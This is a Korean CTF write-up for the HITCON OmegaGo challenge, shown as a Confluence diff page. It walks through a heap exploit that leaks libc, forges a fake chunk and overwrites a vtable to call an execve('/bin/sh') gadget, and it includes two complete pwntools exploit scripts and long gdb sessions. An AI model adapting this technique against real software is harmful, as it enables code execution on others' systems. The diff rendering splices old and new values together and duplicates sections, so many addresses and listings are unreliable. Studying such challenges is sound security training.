Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
...

#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)

p.interactive()

...

Code Block
titleRun script
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 63277625
[*] Libc Address : 0x7f575e361b780x7ff0339f6b78
[*] Libc Base Address : 0x7f575dfa33c00x7ff033632000
[*] execve bash Address : 0x7f575e089a7d0x7ff0337186bd
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..O...XO.XXOX\x00XOx00XX.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 .................X.
 7 ...................
 6 ...............O...
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.85



$ 
Code Block
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 64117625
Attaching to process 64117625
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.

gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x00000000012da0100x0000000000ac6010	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
gdb-peda$ x/20gx 0x00000000012da0100x0000000000ac6010
0x12da0100xac6010:	0x0000000000000000	0x0000000000000000
0x12da0200xac6020:	0x0000000000000000	0x0000000000000020
0x12da0300xac6030:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x12da0400xac6040:	0x0000000155555555	0x0000000000000020
0x12da0500xac6050:	0x0000000000001000	0x0000000000000000
0x12da0600xac6060:	0x0000000000000000	0x0000000000000000
0x12da0700xac6070:	0x0000000a00000009	0x500001000000004f
0x12da0800xac6080:	0x40667feca89fc6d30x40667febca5375c7	0x40667b00d3cff6520x40667b29ac365450
0x12da0900xac6090:	0x0000000000000000	0x000000000000df71
0x12da0a00xac60a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
  • 다음과 같이 변경되었습니다.

Code Block
$ P1D19
   ABCDEFGHIJKLMNOPQRS
19 ..OX.OO.OX.XXO\x00XXXX.O......
18 
...............O\x00..
17 XXO\x00X.O..

Time remain: O: 180.00, X: 154.17


$ E19
   ABCDEFGHIJKLMNOPQRS
19 ..OXX.OX.XXX.......

...
16 .........OXO.XXO\x00X.
15 O..................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 .................X.
 7 ...................
 6 ...............O...
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...............X...
Time remain: O: 180.00, X: 153.56

$  
Code Block
^C
Program received signal SIGINT, Interrupt.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x00000000012da050	0x00000000012da0d0
0x609fd0:	0x00000000012da190	0x0000000000000020
gdb-peda$ x/10gx 0x00000000012da050 - 0x10
0x12da040:	0x0000000155555555	0x0000000000000020
0x12da050:	0x0000000000001000	0x0000000000000000
0x12da060:	0x0000000000000000	0x0000000000000000
0x12da070:	0x0000000a00000009	0x500001000000004f
0x12da080:	0x40667feca89fc6d3	0x40667b00d3cff652
gdb-peda$ 
  • 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
    • "surrender" 명령어를 3번 실행합니다.
      • Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
    • Fake chunk 좌표값(D14, R8)을 입력합니다.

    • gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
      • 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
      • 좌표값 'P1', '01' 
    • "surrender" 명령어를 실행합니다.
  • 디버깅을 통해 확인해 보겠습니다.
    • D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
    • gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
    • gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
    • 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
    • Computer class 영역에 원하는 주소 영역을 저장하였습니다.
  • 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
    • History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.
Time remain: O: 180.00, X: 151.96

$ 


Code Block
^C
Program received signal SIGINT, Interrupt.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000000ac6290	0x0000000000ac60d0
0x609fd0:	0x0000000000ac6190	0x0000000000ac6250
gdb-peda$ x/20gx 0x0000000000ac6290 - 0x10
0xac6280:	0x0000000155555555	0x0000000000000020
0xac6290:	0x0000000000001000	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
0xac62b0:	0x0000000400000000	0x5000010000000058
0xac62c0:	0x40667febb1290256	0x4060b9413db7f173
0xac62d0:	0xb02c3b6be73a708c	0x0000000000000031
0xac62e0:	0xc6d1f75f00000000	0x0000000000abbc90
0xac62f0:	0x0000000000000000	0x0000000000000000
0xac6300:	0x6c0eb26d35c354ca	0x0000000000000091
0xac6310:	0x0000000000ac6290	0x0000000000ac60d0
gdb-peda$ 



Code Block
gdb-peda$ b *0x401761
Breakpoint 1 at 0x401761
gdb-peda$ c
Continuing.


Code Block
$ surrender
This AI is too strong, ah?
Play history? (y/n)
$ n
Play again? (y/n)
$ y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

$ 


Code Block
Breakpoint 1, 0x0000000000401761
Code Block
title디버깅
(gdb) b *0x401761
Breakpoint 1 at 0x401761
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

... fill out ...

Breakpoint 2, 0x00000000004017fc-peda$ p main_arena.fastbinsY 
$1 = {0xac6280, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni
0x0000000000401766 in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb)-peda$ i r rax
rax            0xac6290	0xac6290
gdb-peda$ p main_arena.fastbinsY 
$2 = {0x0, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0xac6290
0xac6290:	0x0000000000000000	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
gdb-peda$ c
Continuing.
^C
Breakpoint 2, 0x00000000004017fcProgram received signal SIGINT, Interrupt.
0x00007ff033729230 in ??__read_nocancel ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x00000000007074a0
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800

(gdb) x/18gx 0x0000000000707410
0x0707410:	0x0000000000000000	0x0000000000000000
0x0707420:	0x0000000000000000	0x0000000000000020
0x0707430:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707440:	0x0000000155555555	0x0000000000000020
0x0707450:	0x0000000000001000	0x0000000000000000
0x0707460:	0x0000000000000000	0x0000000000000000
0x0707470:	0x0000000a00000009	0x500001000000004f
0x0707480:	0x40660945b078d924	0x40633e4e379b77bf
0x0707490:	0x0000000000000000	0x000000000000fb71
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800



(gdb) x/18gx 0x0000000000707530
0x0707530:	0x00000000019a1450	0x00000000019a14a0
0x0707540:	0x0000000000000000	0x0000000000000020
0x0707550:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707560:	0x0000000155555555	0x0000000000000020
0x0707570:	0x0000000000001000	0x0000000000000000
0x0707580:	0x0000000000000000	0x0000000000000800
0x0707590:	0x0000000300000000	0x500001000000004f
0x07075a0:	0x40658f8b73d188eb	0x406176e57d9dba8e
0x07075b0:	0x00007f5b133663a0	0x000000000000fa51
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb)  at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0xac6290
0xac6290:	0x0000000000405040	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
gdb-peda$ x/gx 0x0000000000405040
0x405040:	0x000000000040290a
gdb-peda$ x/10i 0x000000000040290a
   0x40290a:	push   rbp
   0x40290b:	mov    rbp,rsp
   0x40290e:	sub    rsp,0x150
   0x402915:	mov    QWORD PTR [rbp-0x128],rdi
   0x40291c:	mov    QWORD PTR [rbp-0x130],rsi
   0x402923:	mov    DWORD PTR [rbp-0x134],edx
   0x402929:	mov    QWORD PTR [rbp-0x140],rcx
   0x402930:	mov    QWORD PTR [rbp-0x148],r8
   0x402937:	mov    rax,QWORD PTR fs:0x28
   0x402940:	mov    QWORD PTR [rbp-0x8],rax
gdb-peda$
Code Block
#0xXXXX010 -> 0xxxxx290
Play('D19')
Play('E19')

surrender()

Overwrite the vtable

  • vtable을 Overwirte하는 방법은 다음과 같습니다.

    • gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
      • 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
    • gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
    • 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
      • 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
        • Ex)A19!@#$%^&
      • 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
    • 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
      • 즉, vtable을 0x609440으로 덮어쓴 것입니다.
    • 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.
Code Block
titleOverwirte the vtable
autolycos@ubuntu:~$ sudo gdb -q -p 6027
Attaching to process 6027
...
(gdb) b *0x04017FC
Breakpoint 1 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000007074500x00000000016a54a0	0x00000000007074a00xaaaaaaaaaaaaaaaa
0x609fd0:	0x00000000007075300x40000002aaaaaaaa	0x00000000007075c00x0000000555555555
0x609fe0:	0xaaaa0000000010000x0000000000609440	0x555555aaaaaaaaaa0x0000010000000000
0x609ff0:	0x00000001555555550x1800000000000000	0x00000000000000200xaaaa8000000008a4
0x60a000:	0x00000000000010000x55550000000aaaaa	0x00000000000000000x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.

Breakpoint 21, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000007075500x00000000016a54a0	0x00000000007074a00x00000000016a5530
0x609fd0:	0x00000000007075300x4000000aaaaaaaaa	0x00000000007075c00x0000000555555555
0x609fe0:	0x00000000007076800x0000000000609440	0x555555aaaaaaaaaa0x0000010000000000
0x609ff0:	0x00000001555555550x1800000000000000	0x00000000000000200xaaaa8000000008a4
0x60a000:	0x00000000000010000x55550000000aaaaa	0x00000000000000000x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000401761 in ?? ()
(gdb) x/i18gx $rip
=> 0x401761:	callq  0x400f70 <_Znwm@plt>
(gdb) ni
0x0000000000401766 in ?? ()
(gdb) i r rax
rax            0x707550	7370064
(gdb)

Overwrite the vtable

  • vtable을 Overwirte하는 방법은 다음과 같습니다.

    • gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
      • 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
    • gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
    • 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
      • 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
        • Ex)A19!@#$%^&
      • 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
    • 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
      • 즉, vtable을 0x609440으로 덮어쓴 것입니다.
    • 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.
Code Block
titleOverwirte the vtable
autolycos@ubuntu:~$ sudo gdb -q -p 6027
Attaching to process 6027
...
(gdb) b *0x04017FC
Breakpoint 1 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x609fd0:	0x40000002aaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 1, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0x00000000016a5530
0x609fd0:	0x4000000aaaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000

(gdb) x/18gx 0x00000000016a5530
0x16a5530:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x16a5540:	0x4000000aaaaaaaaa	0x0000000555555555
0x16a5550:	0x0000000000609440	0x0000010000000000
0x16a5560:	0x1800000000000000	0xaaaa8000000008a4
0x16a5570:	0x55550000000aaaaa	0x5555555555555555
0x16a5580:	0x0000055555555555	0x0000000000000000
0x16a5590:	0x0000000500000004	0x5000010000000058
0x16a55a0:	0x40667feb65a9a800	0x4063bc970b49e01e
0x16a55b0:	0x0000000000000120	0x0000000000000091

(gdb) x/gx 0x16a5550
0x16a5550:	0x0000000000609440
(gdb) x/gx 0x0000000000609440
0x609440:	0x00007f5d9c93a6bd
(gdb) c
Continuing.
process 6027 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4017fc

(gdb)
Code Block
titlevtable -> 0x
(gdb) b *0x4017D0
Breakpoint 1 at 0x4017d0

(gdb) b *0x04017FC
Breakpoint 2 at 0x4017fc


(gdb) c
Continuing.
Breakpoint 1, 0x00000000004017d0 in ?? ()

(gdb) x/3i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]

(gdb) ni
0x00000000004017d5 in ?? ()
(gdb) i r rax

rax            0x1919550	26318160

(gdb) ni
0x00000000004017d8 in ?? ()
(gdb) i r rax
rax            0x609440	6329408

(gdb) ni
0x00000000004017db in ?? ()
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189

(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/i $rip
=> 0x4017fc:	call   rax
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189
(gdb) 

...

0x00000000016a5530
0x16a5530:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x16a5540:	0x4000000aaaaaaaaa	0x0000000555555555
0x16a5550:	0x0000000000609440	0x0000010000000000
0x16a5560:	0x1800000000000000	0xaaaa8000000008a4
0x16a5570:	0x55550000000aaaaa	0x5555555555555555
0x16a5580:	0x0000055555555555	0x0000000000000000
0x16a5590:	0x0000000500000004	0x5000010000000058
0x16a55a0:	0x40667feb65a9a800	0x4063bc970b49e01e
0x16a55b0:	0x0000000000000120	0x0000000000000091

(gdb) x/gx 0x16a5550
0x16a5550:	0x0000000000609440
(gdb) x/gx 0x0000000000609440
0x609440:	0x00007f5d9c93a6bd
(gdb) c
Continuing.
process 6027 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4017fc

(gdb)
Code Block
titlevtable -> 0x
(gdb) b *0x4017D0
Breakpoint 1 at 0x4017d0

(gdb) b *0x04017FC
Breakpoint 2 at 0x4017fc


(gdb) c
Continuing.
Breakpoint 1, 0x00000000004017d0 in ?? ()

(gdb) x/3i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]

(gdb) ni
0x00000000004017d5 in ?? ()
(gdb) i r rax

rax            0x1919550	26318160

(gdb) ni
0x00000000004017d8 in ?? ()
(gdb) i r rax
rax            0x609440	6329408

(gdb) ni
0x00000000004017db in ?? ()
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189

(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/i $rip
=> 0x4017fc:	call   rax
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189
(gdb) 

Exploit Code



Code Block
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac',env={'LD_PRELOAD': 'libc.so.6_8674307c6c294e2f710def8c57925a50e60ee69e'})
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
#surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3c4b78
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)

Play('D19')
Play('E19')

surrender()
 
p.interactive()



Code Block
languagepy
titleExploit.py
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
 
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
 
#Fake Chunk
Play('D14')
Play('R8')
 
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')

surrender()
 
Fill('B','S',6)
for line in range(15,20):
    Fill('A','S',line)
Play('A6')
 
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
 
for line in range(16,19):
    Fill('A','S',line)
 
Fill('A','E',15)
sleep(20) 
Play('F15|'+p64(execve_bash))
 
p.interactive()

...